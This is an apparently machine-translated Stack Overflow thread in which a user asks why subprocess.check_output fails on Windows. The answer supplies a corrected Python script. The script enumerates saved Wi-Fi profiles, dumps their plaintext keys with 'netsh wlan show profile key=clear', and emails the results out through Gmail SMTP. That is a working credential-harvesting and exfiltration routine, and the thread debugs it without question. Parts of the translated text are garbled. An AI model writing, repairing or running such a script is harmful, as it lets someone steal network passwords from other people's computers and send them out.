Python 子进程的CalledProcessError。检查windows中wlan的\u输出

Python 子进程的CalledProcessError。检查windows中wlan的\u输出,python,subprocess,Python,Subprocess,我在Subprocess.Check_输出模块中遇到一个名为CalledProcessError的错误。有人能解决这个问题吗?您的程序正在返回非零状态,这意味着在处理命令的过程中发生了错误。您可能想在子流程中添加一些参数。请检查输出命令以解决此问题 所以,我做了一些改变,我仍然试图让电子邮件通行证发送主要工作。你能检查一下它是否适合你吗 import subprocess, smtplib, re import sys def send_mail(email, password, messa

我在Subprocess.Check_输出模块中遇到一个名为CalledProcessError的错误。有人能解决这个问题吗?

您的程序正在返回非零状态,这意味着在处理命令的过程中发生了错误。您可能想在子流程中添加一些参数。请检查输出命令以解决此问题

所以,我做了一些改变,我仍然试图让电子邮件通行证发送主要工作。你能检查一下它是否适合你吗

import subprocess, smtplib, re
import sys


def send_mail(email, password, message):
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()


command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True ,stderr=subprocess.STDOUT)
network_names_list = re.findall("(?:Profile\s*:\s)(.*)", networks.decode("latin-1"))


result = ""

for network_name in network_names_list:
    try:
        print(network_name)
        command = "netsh wlan show profile key=clear" + "".join(network_name)
        current_result = str(subprocess.check_output(command, shell=True))
        result = result + current_result
        send_mail("email", "pass", result)
    except subprocess.CalledProcessError as e:
        raise RuntimeError("command '{}' returns with error (code {}):{}".format(e.cmd,e.returncode,e.output))

请发布正在执行的代码和您打算运行的进程command=“netsh wlan show profile”+“”。加入(网络名称)+“key=clear”当前结果=子进程。检查输出(命令,shell=True)是否可以修改?network_name包含pc上保存的网络。能否发布您尝试执行的代码以及有关您工作环境的更多详细信息?paste.ofcode.org/34Wa333bbFQmMNFezg3vCTm这是代码bro。请使用此代码粘贴服务。我尝试了太多次,但无法将代码粘贴到stackoverflow中。请参阅上面帖子中的“我的编辑”,并检查它是否适用于您